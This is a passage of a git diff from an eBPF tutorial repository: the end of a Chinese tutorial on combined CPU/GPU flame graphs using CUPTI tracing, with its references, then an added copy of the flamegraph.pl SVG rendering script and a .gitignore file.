注入库**,它可以无缝地加载到任何 CUDA 应用程序中,以记录详细的 GPU 活动,并附带将 GPU 工作链接回其 CPU 来源的关键关联 ID。 +- 一个基于 Python 的 **跟踪合并器**,它像一个侦探一样,使用时间戳和关联 ID 智能地将 CPU 和 GPU 跟踪拼接在一起。它生成一个按持续时间加权的折叠堆栈文件,确保最终的可视化准确地反映了真实世界的执行时间。 + +其结果是一个统一的火焰图,它提供了一个直观的、端到端的应用程序执行视图,从最高级的 CPU 函数一直到在 GPU 上运行的特定内核。 + +这种方法的优点在于其强大和灵活性。它无需重新编译您的目标应用程序即可工作,支持任何基于 CUDA 的框架(包括 PyTorch、TensorFlow 和 JAX),并且开销足够低,可以在生产环境中使用。这些工具是模块化的,允许您使用 eBPF 分析器进行仅 CPU 的分析,使用 CUPTI 跟踪器获取 GPU 时间线,或将它们结合起来以获得无与伦比的洞察力。 + +您现在已经掌握了诊断复杂机器学习工作负载、科学模拟或任何 GPU 加速应用程序中性能瓶颈的技术和工具,在这些应用程序中,理解 CPU 和 GPU 之间错综复杂的舞蹈是解锁性能的关键。 + +> 我们希望本教程在您的开发者之旅中是赋能的一步。要继续学习和探索 eBPF 的世界,请查看我们的完整教程集 或访问我们的网站 。祝您分析愉快! + + +## 参考资料 + +### 相关 GPU 分析工具 + +1. AI 火焰图 / iaprof (Intel) 提供了由硬件采样驱动的 GPU 和软件堆栈火焰图(EU 停顿、内核和 CPU 堆栈),于 2025 年开源。这比我们的教程更深入:它在 GPU 内核内部进行采样,并将停顿原因归因于代码上下文。当您需要硬件停顿分析和端到端视图时,请使用此工具。[Brendan Gregg](https://www.brendangregg.com/blog/2024-10-29/ai-flame-graphs.html) | [GitHub](https://github.com/intel/iaprof) + +2. Nsight Systems 和 Nsight Compute (NVIDIA) 是官方工具。Systems 提供 CPU 到 GPU 的时间线和 API/内核;Compute 提供内核内部指标和 roofline 风格的分析。非常适合深度调优,但并非总是适用于低开销的持续分析。[NVIDIA 文档](https://docs.nvidia.com/nsight-systems/UserGuide/index.html) + +3. PyTorch Profiler / Kineto (NVIDIA/Meta,也支持 AMD/Intel 后端) 通过 CUPTI 记录 CPU 操作和 GPU 内核,并在 TensorBoard/Chrome Trace 中显示它们。它支持 CPU 到加速器的流程链接 ("ac2g")。当您已经在 PyTorch 中工作时,这是一个很好的选择。[PyTorch 博客](https://pytorch.org/blog/automated-trace-collection/) | [PyTorch 文档](https://pytorch.org/docs/stable/profiler.html) + +4. HPCToolkit (Rice) 提供低开销的调用路径分析,可以将 GPU 内核时间归因于 CPU 调用上下文,并且在 NVIDIA 上可以使用 PC 采样来检查指令级行为。对于生产运行和跨供应商 GPU 非常强大。[Argonne 领导计算设施](https://www.alcf.anl.gov/sites/default/files/2024-11/HPCToolkit-ALCF-2024-10.pdf) + +5. AMD ROCm (rocprofiler-SDK) 提供 HIP/HSA 跟踪,并使用 Correlation_Id 连接异步调用和内核。如果您想要本教程的 AMD 版本,请与 rocprofiler 事件集成。[ROCm 文档](https://rocm.docs.amd.com/projects/rocprofiler-sdk/en/docs-6.3.1/how-to/using-rocprofv3.html) + +6. Level Zero tracer (Intel) 允许您拦截 Level Zero API 调用(加载器跟踪),并为 Intel GPU 构建一个带有 L0 回调的类似关联器。[Intel 文档](https://www.intel.com/content/www/us/en/docs/oneapi/optimization-guide-gpu/2023-1/level-zero-tracer.html) + +7. Perfetto / Chrome Trace viewer 是您查看 `.json` 时间线的选择。Perfetto 是读取 Chromium JSON 跟踪(您的 CUPTI 转换器发出的内容)的现代 Web UI。[Perfetto](https://perfetto.dev/) + +### 技术文档 + +1. NVIDIA CUPTI 文档: +2. CUPTI Activity API: +3. CUPTI ActivityKernel8 结构: +4. CUDA 分析指南: +5. Nsight Systems 用户指南: +6. eBPF 堆栈跟踪助手: +7. Chrome 跟踪格式: +8. 火焰图可视化: + +### 相关内容 + +1. bpftime GPU eBPF: +2. iaprof Intel GPU 分析分析: +3. 教程存储库: + +完整的源代码,包括 eBPF 分析器、CUPTI 注入库、跟踪合并器和测试应用程序,都可以在教程存储库中找到。欢迎贡献和报告问题! diff --git a/src/xpu/flamegraph/combined_flamegraph.pl b/src/xpu/flamegraph/combined_flamegraph.pl new file mode 100755 index 00000000..fbe4b888 --- /dev/null +++ b/src/xpu/flamegraph/combined_flamegraph.pl @@ -0,0 +1,1315 @@ +#!/usr/bin/perl -w +# +# flamegraph.pl flame stack grapher. +# +# This takes stack samples and renders a call graph, allowing hot functions +# and codepaths to be quickly identified. Stack samples can be generated using +# tools such as DTrace, perf, SystemTap, and Instruments. +# +# USAGE: ./flamegraph.pl [options] input.txt > graph.svg +# +# grep funcA input.txt | ./flamegraph.pl [options] > graph.svg +# +# Then open the resulting .svg in a web browser, for interactivity: mouse-over +# frames for info, click to zoom, and ctrl-F to search. +# +# Options are listed in the usage message (--help). +# +# The input is stack frames and sample counts formatted as single lines. Each +# frame in the stack is semicolon separated, with a space and count at the end +# of the line. These can be generated for Linux perf script output using +# stackcollapse-perf.pl, for DTrace using stackcollapse.pl, and for other tools +# using the other stackcollapse programs. Example input: +# +# swapper;start_kernel;rest_init;cpu_idle;default_idle;native_safe_halt 1 +# +# An optional extra column of counts can be provided to generate a differential +# flame graph of the counts, colored red for more, and blue for less. This +# can be useful when using flame graphs for non-regression testing. +# See the header comment in the difffolded.pl program for instructions. +# +# The input functions can optionally have annotations at the end of each +# function name, following a precedent by some tools (Linux perf's _[k]): +# _[k] for kernel +# _[i] for inlined +# _[j] for jit +# _[w] for waker +# Some of the stackcollapse programs support adding these annotations, eg, +# stackcollapse-perf.pl --kernel --jit. They are used merely for colors by +# some palettes, eg, flamegraph.pl --color=java. +# +# The output flame graph shows relative presence of functions in stack samples. +# The ordering on the x-axis has no meaning; since the data is samples, time +# order of events is not known. The order used sorts function names +# alphabetically. +# +# While intended to process stack samples, this can also process stack traces. +# For example, tracing stacks for memory allocation, or resource usage. You +# can use --title to set the title to reflect the content, and --countname +# to change "samples" to "bytes" etc. +# +# There are a few different palettes, selectable using --color. By default, +# the colors are selected at random (except for differentials). Functions +# called "-" will be printed gray, which can be used for stack separators (eg, +# between user and kernel stacks). +# +# HISTORY +# +# This was inspired by Neelakanth Nadgir's excellent function_call_graph.rb +# program, which visualized function entry and return trace events. As Neel +# wrote: "The output displayed is inspired by Roch's CallStackAnalyzer which +# was in turn inspired by the work on vftrace by Jan Boerhout". See: +# https://blogs.oracle.com/realneel/entry/visualizing_callstacks_via_dtrace_and +# +# Copyright 2016 Netflix, Inc. +# Copyright 2011 Joyent, Inc. All rights reserved. +# Copyright 2011 Brendan Gregg. All rights reserved. +# +# CDDL HEADER START +# +# The contents of this file are subject to the terms of the +# Common Development and Distribution License (the "License"). +# You may not use this file except in compliance with the License. +# +# You can obtain a copy of the license at docs/cddl1.txt or +# http://opensource.org/licenses/CDDL-1.0. +# See the License for the specific language governing permissions +# and limitations under the License. +# +# When distributing Covered Code, include this CDDL HEADER in each +# file and include the License file at docs/cddl1.txt. +# If applicable, add the following below this CDDL HEADER, with the +# fields enclosed by brackets "[]" replaced with your own identifying +# information: Portions Copyright [yyyy] [name of copyright owner] +# +# CDDL HEADER END +# +# 11-Oct-2014 Adrien Mahieux Added zoom. +# 21-Nov-2013 Shawn Sterling Added consistent palette file option +# 17-Mar-2013 Tim Bunce Added options and more tunables. +# 15-Dec-2011 Dave Pacheco Support for frames with whitespace. +# 10-Sep-2011 Brendan Gregg Created this. + +use strict; + +use Getopt::Long; + +use open qw(:std :utf8); + +# tunables +my $encoding; +my $fonttype = "Verdana"; +my $imagewidth = 1200; # max width, pixels +my $frameheight = 16; # max height is dynamic +my $fontsize = 12; # base text size +my $fontwidth = 0.59; # avg width relative to fontsize +my $minwidth = 0.1; # min function width, pixels or percentage of time +my $nametype = "Function:"; # what are the names in the data? +my $countname = "samples"; # what are the counts in the data? +my $colors = "hot"; # color theme +my $bgcolors = ""; # background color theme +my $nameattrfile; # file holding function attributes +my $timemax; # (override the) sum of the counts +my $factor = 1; # factor to scale counts by +my $hash = 0; # color by function name +my $rand = 0; # color randomly +my $palette = 0; # if we use consistent palettes (default off) +my %palette_map; # palette map hash +my $pal_file = "palette.map"; # palette map file name +my $stackreverse = 0; # reverse stack order, switching merge end +my $inverted = 0; # icicle graph +my $flamechart = 0; # produce a flame chart (sort by time, do not merge stacks) +my $negate = 0; # switch differential hues +my $titletext = ""; # centered heading +my $titledefault = "Flame Graph"; # overwritten by --title +my $titleinverted = "Icicle Graph"; # " " +my $searchcolor = "rgb(230,0,230)"; # color for search highlighting +my $notestext = ""; # embedded notes in SVG +my $subtitletext = ""; # second level title (optional) +my $help = 0; + +sub usage { + die < outfile.svg\n + --title TEXT # change title text + --subtitle TEXT # second level title (optional) + --width NUM # width of image (default 1200) + --height NUM # height of each frame (default 16) + --minwidth NUM # omit smaller functions. In pixels or use "%" for + # percentage of time (default 0.1 pixels) + --fonttype FONT # font type (default "Verdana") + --fontsize NUM # font size (default 12) + --countname TEXT # count type label (default "samples") + --nametype TEXT # name type label (default "Function:") + --colors PALETTE # set color palette. choices are: hot (default), mem, + # io, wakeup, chain, java, js, perl, red, green, blue, + # aqua, yellow, purple, orange + --bgcolors COLOR # set background colors. gradient choices are yellow + # (default), blue, green, grey; flat colors use "#rrggbb" + --hash # colors are keyed by function name hash + --random # colors are randomly generated + --cp # use consistent palette (palette.map) + --reverse # generate stack-reversed flame graph + --inverted # icicle graph + --flamechart # produce a flame chart (sort by time, do not merge stacks) + --negate # switch differential hues (blue<->red) + --notes TEXT # add notes comment in SVG (for debugging) + --help # this message + + eg, + $0 --title="Flame Graph: malloc()" trace.txt > graph.svg +USAGE_END +} + +GetOptions( + 'fonttype=s' => \$fonttype, + 'width=i' => \$imagewidth, + 'height=i' => \$frameheight, + 'encoding=s' => \$encoding, + 'fontsize=f' => \$fontsize, + 'fontwidth=f' => \$fontwidth, + 'minwidth=s' => \$minwidth, + 'title=s' => \$titletext, + 'subtitle=s' => \$subtitletext, + 'nametype=s' => \$nametype, + 'countname=s' => \$countname, + 'nameattr=s' => \$nameattrfile, + 'total=s' => \$timemax, + 'factor=f' => \$factor, + 'colors=s' => \$colors, + 'bgcolors=s' => \$bgcolors, + 'hash' => \$hash, + 'random' => \$rand, + 'cp' => \$palette, + 'reverse' => \$stackreverse, + 'inverted' => \$inverted, + 'flamechart' => \$flamechart, + 'negate' => \$negate, + 'notes=s' => \$notestext, + 'help' => \$help, +) or usage(); +$help && usage(); + +# internals +my $ypad1 = $fontsize * 3; # pad top, include title +my $ypad2 = $fontsize * 2 + 10; # pad bottom, include labels +my $ypad3 = $fontsize * 2; # pad top, include subtitle (optional) +my $xpad = 10; # pad lefm and right +my $framepad = 1; # vertical padding for frames +my $depthmax = 0; +my %Events; +my %nameattr; + +if ($flamechart && $titletext eq "") { + $titletext = "Flame Chart"; +} + +if ($titletext eq "") { + unless ($inverted) { + $titletext = $titledefault; + } else { + $titletext = $titleinverted; + } +} + +if ($nameattrfile) { + # The name-attribute file format is a function name followed by a tab then + # a sequence of tab separated name=value pairs. + open my $attrfh, $nameattrfile or die "Can't read $nameattrfile: $!\n"; + while (<$attrfh>) { + chomp; + my ($funcname, $attrstr) = split /\t/, $_, 2; + die "Invalid format in $nameattrfile" unless defined $attrstr; + $nameattr{$funcname} = { map { split /=/, $_, 2 } split /\t/, $attrstr }; + } +} + +if ($notestext =~ /[<>]/) { + die "Notes string can't contain < or >" +} + +# Ensure minwidth is a valid floating-point number, +# print usage string if not +my $minwidth_f; +if ($minwidth =~ /^([0-9.]+)%?$/) { + $minwidth_f = $1; +} else { + warn "Value '$minwidth' is invalid for minwidth, expected a float.\n"; + usage(); +} + +# background colors: +# - yellow gradient: default (hot, java, js, perl) +# - green gradient: mem +# - blue gradient: io, wakeup, chain +# - gray gradient: flat colors (red, green, blue, ...) +if ($bgcolors eq "") { + # choose a default + if ($colors eq "mem") { + $bgcolors = "green"; + } elsif ($colors =~ /^(io|wakeup|chain)$/) { + $bgcolors = "blue"; + } elsif ($colors =~ /^(red|green|blue|aqua|yellow|purple|orange)$/) { + $bgcolors = "grey"; + } else { + $bgcolors = "yellow"; + } +} +my ($bgcolor1, $bgcolor2); +if ($bgcolors eq "yellow") { + $bgcolor1 = "#eeeeee"; # background color gradient start + $bgcolor2 = "#eeeeb0"; # background color gradient stop +} elsif ($bgcolors eq "blue") { + $bgcolor1 = "#eeeeee"; $bgcolor2 = "#e0e0ff"; +} elsif ($bgcolors eq "green") { + $bgcolor1 = "#eef2ee"; $bgcolor2 = "#e0ffe0"; +} elsif ($bgcolors eq "grey") { + $bgcolor1 = "#f8f8f8"; $bgcolor2 = "#e8e8e8"; +} elsif ($bgcolors =~ /^#......$/) { + $bgcolor1 = $bgcolor2 = $bgcolors; +} else { + die "Unrecognized bgcolor option \"$bgcolors\"" +} + +# SVG functions +{ package SVG; + sub new { + my $class = shift; + my $self = {}; + bless ($self, $class); + return $self; + } + + sub header { + my ($self, $w, $h) = @_; + my $enc_attr = ''; + if (defined $encoding) { + $enc_attr = qq{ encoding="$encoding"}; + } + $self->{svg} .= < + + + + +SVG + } + + sub include { + my ($self, $content) = @_; + $self->{svg} .= $content; + } + + sub colorAllocate { + my ($self, $r, $g, $b) = @_; + return "rgb($r,$g,$b)"; + } + + sub group_start { + my ($self, $attr) = @_; + + my @g_attr = map { + exists $attr->{$_} ? sprintf(qq/$_="%s"/, $attr->{$_}) : () + } qw(id class); + push @g_attr, $attr->{g_extra} if $attr->{g_extra}; + if ($attr->{href}) { + my @a_attr; + push @a_attr, sprintf qq/xlink:href="%s"/, $attr->{href} if $attr->{href}; + # default target=_top else links will open within SVG + push @a_attr, sprintf qq/target="%s"/, $attr->{target} || "_top"; + push @a_attr, $attr->{a_extra} if $attr->{a_extra}; + $self->{svg} .= sprintf qq/\n/, join(' ', (@a_attr, @g_attr)); + } else { + $self->{svg} .= sprintf qq/\n/, join(' ', @g_attr); + } + + $self->{svg} .= sprintf qq/%s<\/title>/, $attr->{title} + if $attr->{title}; # should be first element within g container + } + + sub group_end { + my ($self, $attr) = @_; + $self->{svg} .= $attr->{href} ? qq/<\/a>\n/ : qq/<\/g>\n/; + } + + sub filledRectangle { + my ($self, $x1, $y1, $x2, $y2, $fill, $extra) = @_; + $x1 = sprintf "%0.1f", $x1; + $x2 = sprintf "%0.1f", $x2; + my $w = sprintf "%0.1f", $x2 - $x1; + my $h = sprintf "%0.1f", $y2 - $y1; + $extra = defined $extra ? $extra : ""; + $self->{svg} .= qq/\n/; + } + + sub stringTTF { + my ($self, $id, $x, $y, $str, $extra) = @_; + $x = sprintf "%0.2f", $x; + $id = defined $id ? qq/id="$id"/ : ""; + $extra ||= ""; + $self->{svg} .= qq/$str<\/text>\n/; + } + + sub svg { + my $self = shift; + return "$self->{svg}\n"; + } + 1; +} + +sub namehash { + # Generate a vector hash for the name string, weighting early over + # later characters. We want to pick the same colors for function + # names across different flame graphs. + my $name = shift; + my $vector = 0; + my $weight = 1; + my $max = 1; + my $mod = 10; + # if module name present, trunc to 1st char + $name =~ s/.(.*?)`//; + foreach my $c (split //, $name) { + my $i = (ord $c) % $mod; + $vector += ($i / ($mod++ - 1)) * $weight; + $max += 1 * $weight; + $weight *= 0.70; + last if $mod > 12; + } + return (1 - $vector / $max) +} + +sub sum_namehash { + my $name = shift; + return unpack("%32W*", $name); +} + +sub random_namehash { + # Generate a random hash for the name string. + # This ensures that functions with the same name have the same color, + # both within a flamegraph and across multiple flamegraphs without + # needing to set a palette and while preserving the original flamegraph + # optic, unlike what happens with --hash. + my $name = shift; + my $hash = sum_namehash($name); + srand($hash); + return rand(1) +} + +sub color { + my ($type, $hash, $name) = @_; + my ($v1, $v2, $v3); + + if ($hash) { + $v1 = namehash($name); + $v2 = $v3 = namehash(scalar reverse $name); + } elsif ($rand) { + $v1 = rand(1); + $v2 = rand(1); + $v3 = rand(1); + } else { + $v1 = random_namehash($name); + $v2 = random_namehash($name); + $v3 = random_namehash($name); + } + + # theme palettes + if (defined $type and $type eq "hot") { + my $r = 205 + int(50 * $v3); + my $g = 0 + int(230 * $v1); + my $b = 0 + int(55 * $v2); + return "rgb($r,$g,$b)"; + } + if (defined $type and $type eq "mem") { + my $r = 0; + my $g = 190 + int(50 * $v2); + my $b = 0 + int(210 * $v1); + return "rgb($r,$g,$b)"; + } + if (defined $type and $type eq "io") { + my $r = 80 + int(60 * $v1); + my $g = $r; + my $b = 190 + int(55 * $v2); + return "rgb($r,$g,$b)"; + } + + # multi palettes + if (defined $type and $type eq "java") { + # Handle both annotations (_[j], _[i], ...; which are + # accurate), as well as input that lacks any annotations, as + # best as possible. Without annotations, we get a little hacky + # and match on java|org|com, etc. + if ($name =~ m:_\[j\]$:) { # jit annotation + $type = "green"; + } elsif ($name =~ m:_\[i\]$:) { # inline annotation + $type = "aqua"; + } elsif ($name =~ m:^L?(java|javax|jdk|net|org|com|io|sun)/:) { # Java + $type = "green"; + } elsif ($name =~ /:::/) { # Java, typical perf-map-agent method separator + $type = "green"; + } elsif ($name =~ /::/) { # C++ + $type = "yellow"; + } elsif ($name =~ m:_\[k\]$:) { # kernel annotation + $type = "orange"; + } elsif ($name =~ /::/) { # C++ + $type = "yellow"; + } else { # system + $type = "red"; + } + # fall-through to color palettes + } + if (defined $type and $type eq "perl") { + if ($name =~ /::/) { # C++ + $type = "yellow"; + } elsif ($name =~ m:Perl: or $name =~ m:\.pl:) { # Perl + $type = "green"; + } elsif ($name =~ m:_\[k\]$:) { # kernel + $type = "orange"; + } else { # system + $type = "red"; + } + # fall-through to color palettes + } + if (defined $type and $type eq "js") { + # Handle both annotations (_[j], _[i], ...; which are + # accurate), as well as input that lacks any annotations, as + # best as possible. Without annotations, we get a little hacky, + # and match on a "/" with a ".js", etc. + if ($name =~ m:_\[j\]$:) { # jit annotation + if ($name =~ m:/:) { + $type = "green"; # source + } else { + $type = "aqua"; # builtin + } + } elsif ($name =~ /::/) { # C++ + $type = "yellow"; + } elsif ($name =~ m:/.*\.js:) { # JavaScript (match "/" in path) + $type = "green"; + } elsif ($name =~ m/:/) { # JavaScript (match ":" in builtin) + $type = "aqua"; + } elsif ($name =~ m/^ $/) { # Missing symbol + $type = "green"; + } elsif ($name =~ m:_\[k\]:) { # kernel + $type = "orange"; + } else { # system + $type = "red"; + } + # fall-through to color palettes + } + if (defined $type and $type eq "wakeup") { + $type = "aqua"; + # fall-through to color palettes + } + if (defined $type and $type eq "chain") { + if ($name =~ m:_\[w\]:) { # waker + $type = "aqua" + } else { # off-CPU + $type = "blue"; + } + # fall-through to color palettes + } + + + if (defined $type and $type eq "combined") { + if ($name =~ m:_\[c\]$:) { # CPU annotation (on-CPU) + $type = "red"; + } elsif ($name =~ m:_\[o\]$:) { # off-CPU annotation (I/O/blocking) + $type = "blue"; + } else { # default + $type = "yellow"; + } + # fall-through to color palettes + } + + # color palettes + if (defined $type and $type eq "red") { + my $r = 200 + int(55 * $v1); + my $x = 50 + int(80 * $v1); + return "rgb($r,$x,$x)"; + } + if (defined $type and $type eq "green") { + my $g = 200 + int(55 * $v1); + my $x = 50 + int(60 * $v1); + return "rgb($x,$g,$x)"; + } + if (defined $type and $type eq "blue") { + my $b = 205 + int(50 * $v1); + my $x = 80 + int(60 * $v1); + return "rgb($x,$x,$b)"; + } + if (defined $type and $type eq "yellow") { + my $x = 175 + int(55 * $v1); + my $b = 50 + int(20 * $v1); + return "rgb($x,$x,$b)"; + } + if (defined $type and $type eq "purple") { + my $x = 190 + int(65 * $v1); + my $g = 80 + int(60 * $v1); + return "rgb($x,$g,$x)"; + } + if (defined $type and $type eq "aqua") { + my $r = 50 + int(60 * $v1); + my $g = 165 + int(55 * $v1); + my $b = 165 + int(55 * $v1); + return "rgb($r,$g,$b)"; + } + if (defined $type and $type eq "orange") { + my $r = 190 + int(65 * $v1); + my $g = 90 + int(65 * $v1); + return "rgb($r,$g,0)"; + } + + return "rgb(0,0,0)"; +} + +sub color_scale { + my ($value, $max) = @_; + my ($r, $g, $b) = (255, 255, 255); + $value = -$value if $negate; + if ($value > 0) { + $g = $b = int(210 * ($max - $value) / $max); + } elsif ($value < 0) { + $r = $g = int(210 * ($max + $value) / $max); + } + return "rgb($r,$g,$b)"; +} + +sub color_map { + my ($colors, $func) = @_; + if (exists $palette_map{$func}) { + return $palette_map{$func}; + } else { + $palette_map{$func} = color($colors, $hash, $func); + return $palette_map{$func}; + } +} + +sub write_palette { + open(FILE, ">$pal_file"); + foreach my $key (sort keys %palette_map) { + print FILE $key."->".$palette_map{$key}."\n"; + } + close(FILE); +} + +sub read_palette { + if (-e $pal_file) { + open(FILE, $pal_file) or die "can't open file $pal_file: $!"; + while ( my $line = ) { + chomp($line); + (my $key, my $value) = split("->",$line); + $palette_map{$key}=$value; + } + close(FILE) + } +} + +my %Node; # Hash of merged frame data +my %Tmp; + +# flow() merges two stacks, storing the merged frames and value data in %Node. +sub flow { + my ($last, $this, $v, $d) = @_; + + my $len_a = @$last - 1; + my $len_b = @$this - 1; + + my $i = 0; + my $len_same; + for (; $i <= $len_a; $i++) { + last if $i > $len_b; + last if $last->[$i] ne $this->[$i]; + } + $len_same = $i; + + for ($i = $len_a; $i >= $len_same; $i--) { + my $k = "$last->[$i];$i"; + # a unique ID is constructed from "func;depth;etime"; + # func-depth isn't unique, it may be repeated later. + $Node{"$k;$v"}->{stime} = delete $Tmp{$k}->{stime}; + if (defined $Tmp{$k}->{delta}) { + $Node{"$k;$v"}->{delta} = delete $Tmp{$k}->{delta}; + } + delete $Tmp{$k}; + } + + for ($i = $len_same; $i <= $len_b; $i++) { + my $k = "$this->[$i];$i"; + $Tmp{$k}->{stime} = $v; + if (defined $d) { + $Tmp{$k}->{delta} += $i == $len_b ? $d : 0; + } + } + + return $this; +} + +# parse input +my @Data; +my @SortedData; +my $last = []; +my $time = 0; +my $delta = undef; +my $ignored = 0; +my $line; +my $maxdelta = 1; + +# reverse if needed +foreach (<>) { + chomp; + $line = $_; + if ($stackreverse) { + # there may be an extra samples column for differentials + # XXX todo: redo these REs as one. It's repeated below. + my($stack, $samples) = (/^(.*)\s+?(\d+(?:\.\d*)?)$/); + my $samples2 = undef; + if ($stack =~ /^(.*)\s+?(\d+(?:\.\d*)?)$/) { + $samples2 = $samples; + ($stack, $samples) = $stack =~ (/^(.*)\s+?(\d+(?:\.\d*)?)$/); + unshift @Data, join(";", reverse split(";", $stack)) . " $samples $samples2"; + } else { + unshift @Data, join(";", reverse split(";", $stack)) . " $samples"; + } + } else { + unshift @Data, $line; + } +} + +if ($flamechart) { + # In flame chart mode, just reverse the data so time moves from left to right. + @SortedData = reverse @Data; +} else { + @SortedData = sort @Data; +} + +# process and merge frames +foreach (@SortedData) { + chomp; + # process: folded_stack count + # eg: func_a;func_b;func_c 31 + my ($stack, $samples) = (/^(.*)\s+?(\d+(?:\.\d*)?)$/); + unless (defined $samples and defined $stack) { + ++$ignored; + next; + } + + # there may be an extra samples column for differentials: + my $samples2 = undef; + if ($stack =~ /^(.*)\s+?(\d+(?:\.\d*)?)$/) { + $samples2 = $samples; + ($stack, $samples) = $stack =~ (/^(.*)\s+?(\d+(?:\.\d*)?)$/); + } + $delta = undef; + if (defined $samples2) { + $delta = $samples2 - $samples; + $maxdelta = abs($delta) if abs($delta) > $maxdelta; + } + + # for chain graphs, annotate waker frames with "_[w]", for later + # coloring. This is a hack, but has a precedent ("_[k]" from perf). + if ($colors eq "chain") { + my @parts = split ";--;", $stack; + my @newparts = (); + $stack = shift @parts; + $stack .= ";--;"; + foreach my $part (@parts) { + $part =~ s/;/_[w];/g; + $part .= "_[w]"; + push @newparts, $part; + } + $stack .= join ";--;", @parts; + } + + # merge frames and populate %Node: + $last = flow($last, [ '', split ";", $stack ], $time, $delta); + + if (defined $samples2) { + $time += $samples2; + } else { + $time += $samples; + } +} +flow($last, [], $time, $delta); + +if ($countname eq "samples") { + # If $countname is used, it's likely that we're not measuring in stack samples + # (e.g. time could be the unit), so don't warn. + warn "Stack count is low ($time). Did something go wrong?\n" if $time < 100; +} + +warn "Ignored $ignored lines with invalid format\n" if $ignored; +unless ($time) { + warn "ERROR: No stack counts found\n"; + my $im = SVG->new(); + # emit an error message SVG, for tools automating flamegraph use + my $imageheight = $fontsize * 5; + $im->header($imagewidth, $imageheight); + $im->stringTTF(undef, int($imagewidth / 2), $fontsize * 2, + "ERROR: No valid input provided to flamegraph.pl."); + print $im->svg; + exit 2; +} +if ($timemax and $timemax < $time) { + warn "Specified --total $timemax is less than actual total $time, so ignored\n" + if $timemax/$time > 0.02; # only warn is significant (e.g., not rounding etc) + undef $timemax; +} +$timemax ||= $time; + +my $widthpertime = ($imagewidth - 2 * $xpad) / $timemax; + +# Treat as a percentage of time if the string ends in a "%". +my $minwidth_time; +if ($minwidth =~ /%$/) { + $minwidth_time = $timemax * $minwidth_f / 100; +} else { + $minwidth_time = $minwidth_f / $widthpertime; +} + +# prune blocks that are too narrow and determine max depth +while (my ($id, $node) = each %Node) { + my ($func, $depth, $etime) = split ";", $id; + my $stime = $node->{stime}; + die "missing start for $id" if not defined $stime; + + if (($etime-$stime) < $minwidth_time) { + delete $Node{$id}; + next; + } + $depthmax = $depth if $depth > $depthmax; +} + +# draw canvas, and embed interactive JavaScript program +my $imageheight = (($depthmax + 1) * $frameheight) + $ypad1 + $ypad2; +$imageheight += $ypad3 if $subtitletext ne ""; +my $titlesize = $fontsize + 5; +my $im = SVG->new(); +my ($black, $vdgrey, $dgrey) = ( + $im->colorAllocate(0, 0, 0), + $im->colorAllocate(160, 160, 160), + $im->colorAllocate(200, 200, 200), + ); +$im->header($imagewidth, $imageheight); +my $inc = < + + + + + + + +INC +$im->include($inc); +$im->filledRectangle(0, 0, $imagewidth, $imageheight, 'url(#background)'); +$im->stringTTF("title", int($imagewidth / 2), $fontsize * 2, $titletext); +$im->stringTTF("subtitle", int($imagewidth / 2), $fontsize * 4, $subtitletext) if $subtitletext ne ""; +$im->stringTTF("details", $xpad, $imageheight - ($ypad2 / 2), " "); +$im->stringTTF("unzoom", $xpad, $fontsize * 2, "Reset Zoom", 'class="hide"'); +$im->stringTTF("search", $imagewidth - $xpad - 100, $fontsize * 2, "Search"); +$im->stringTTF("ignorecase", $imagewidth - $xpad - 16, $fontsize * 2, "ic"); +$im->stringTTF("matched", $imagewidth - $xpad - 100, $imageheight - ($ypad2 / 2), " "); + +if ($palette) { + read_palette(); +} + +# draw frames +$im->group_start({id => "frames"}); +while (my ($id, $node) = each %Node) { + my ($func, $depth, $etime) = split ";", $id; + my $stime = $node->{stime}; + my $delta = $node->{delta}; + + $etime = $timemax if $func eq "" and $depth == 0; + + my $x1 = $xpad + $stime * $widthpertime; + my $x2 = $xpad + $etime * $widthpertime; + my ($y1, $y2); + unless ($inverted) { + $y1 = $imageheight - $ypad2 - ($depth + 1) * $frameheight + $framepad; + $y2 = $imageheight - $ypad2 - $depth * $frameheight; + } else { + $y1 = $ypad1 + $depth * $frameheight; + $y2 = $ypad1 + ($depth + 1) * $frameheight - $framepad; + } + + # Add commas per perlfaq5: + # https://perldoc.perl.org/perlfaq5#How-can-I-output-my-numbers-with-commas-added? + my $samples = sprintf "%.0f", ($etime - $stime) * $factor; + (my $samples_txt = $samples) + =~ s/(^[-+]?\d+?(?=(?>(?:\d{3})+)(?!\d))|\G\d{3}(?=\d))/$1,/g; + + my $info; + if ($func eq "" and $depth == 0) { + $info = "all ($samples_txt $countname, 100%)"; + } else { + my $pct = sprintf "%.2f", ((100 * $samples) / ($timemax * $factor)); + my $escaped_func = $func; + # clean up SVG breaking characters: + $escaped_func =~ s/&/&/g; + $escaped_func =~ s//>/g; + $escaped_func =~ s/"/"/g; + $escaped_func =~ s/_\[[kwij]\]$//; # strip any annotation + unless (defined $delta) { + $info = "$escaped_func ($samples_txt $countname, $pct%)"; + } else { + my $d = $negate ? -$delta : $delta; + my $deltapct = sprintf "%.2f", ((100 * $d) / ($timemax * $factor)); + $deltapct = $d > 0 ? "+$deltapct" : $deltapct; + $info = "$escaped_func ($samples_txt $countname, $pct%; $deltapct%)"; + } + } + + my $nameattr = { %{ $nameattr{$func}||{} } }; # shallow clone + $nameattr->{title} ||= $info; + $im->group_start($nameattr); + + my $color; + if ($func eq "--") { + $color = $vdgrey; + } elsif ($func eq "-") { + $color = $dgrey; + } elsif (defined $delta) { + $color = color_scale($delta, $maxdelta); + } elsif ($palette) { + $color = color_map($colors, $func); + } else { + $color = color($colors, $hash, $func); + } + $im->filledRectangle($x1, $y1, $x2, $y2, $color, 'rx="2" ry="2"'); + + my $chars = int( ($x2 - $x1) / ($fontsize * $fontwidth)); + my $text = ""; + if ($chars >= 3) { # room for one char plus two dots + $func =~ s/_\[[kwij]\]$//; # strip any annotation + $text = substr $func, 0, $chars; + substr($text, -2, 2) = ".." if $chars < length $func; + $text =~ s/&/&/g; + $text =~ s//>/g; + } + $im->stringTTF(undef, $x1 + 3, 3 + ($y1 + $y2) / 2, $text); + + $im->group_end($nameattr); +} +$im->group_end(); + +print $im->svg; + +if ($palette) { + write_palette(); +} + +# vim: ts=8 sts=8 sw=8 noexpandtab diff --git a/src/xpu/flamegraph/cupti_trace/.gitignore b/src/xpu/flamegraph/cupti_trace/.gitignore new file mode 100644 index 00000000..67cd698b --- /dev/null +++ b/src/xpu/flamegraph/cupti_trace/.gitignore @@ -0,0 +1,12 @@ +*.o +*.so +cpu_results.txt +gpu_results.txt +gpu_results.json +__pycache__/ +*.svg +*.folded +*.txt +/*.json +test_cupti +venv/ diff --git a/src/xpu/flamegraph/cupti_trace/Makefile b/src/xpu/flamegraph/cupti_trace/Makefile new file mode 100644 index 00000000..01fb4cdf --- /dev/null +++ 